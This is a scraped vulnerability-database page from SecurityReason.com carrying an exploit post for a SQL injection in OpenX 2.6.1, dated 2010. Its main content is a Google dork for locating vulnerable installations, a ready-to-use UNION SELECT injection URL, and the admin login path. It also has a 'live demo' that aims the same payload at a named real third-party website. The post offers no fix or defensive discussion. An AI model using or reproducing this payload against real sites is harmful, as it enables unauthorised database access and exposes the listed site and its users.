SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow World Laboratory of Bugtraq Database

Arrow  Topic :

OpenX 2.6.1 remote SQL injection


Arrow  WLB : WLB-2010010098  (About)
Arrow  SecurityAlert : None
Arrow  Date : 2010-01-24
Arrow  Credit          : null
Arrow  SecurityRisk : Low  Security Risk Low  (About)
Arrow  Remote : Yes
Arrow  Local     : No
Arrow  Status   : Bug

Arrow  History : [2010-01-24] Started

Arrow  Affected software :  OpenX version 2.6.1



Arrow  Text :  

#=Info===#
# Software: OpenX Sql Injection
#
# Version: v2.6.1
#
# Vulnerability: Sql Injection
#
# Google Dork: inurl:"index.php?q=" Openx
#
# Off. site: www.openx.org/<http://www.openx.org/>
#
#=======#


#=Author===#
# Author: AndySoon [at] XGROUPVN[dot]ORG and UH-TEAM[dot]ORG
#
# Date: 2010-01-21
#
# Contact: YM: wolf_seller | email:
wolf.crazy0@gmail.com<mailto:wolf.crazy0@gmail.com>
#
#
#
#=======#


#=Sql Injection===================#
# Exploit:
http://site/index.php?q=shopping/neighborhood/45+AND+1=2+UNION+SELECT+1,2,3
,4,5,6,7,8,9,10,11,12,13,14,15--
#
# Live demo:
http://la.citymommy.com/index.php?q=shopping/neighborhood/45+AND+1=2+UNION+
SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
#
# Login page: http://site/adserver/www/admin/index.php

#
#=================================#



Audyt bezpieczeństwa

Security Audit

Analiza powłamaniowa

Arrow  References :  

None

If you want change this note, please use UCP



Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

Copyright © SecurityReason.com. All Rights Reserved.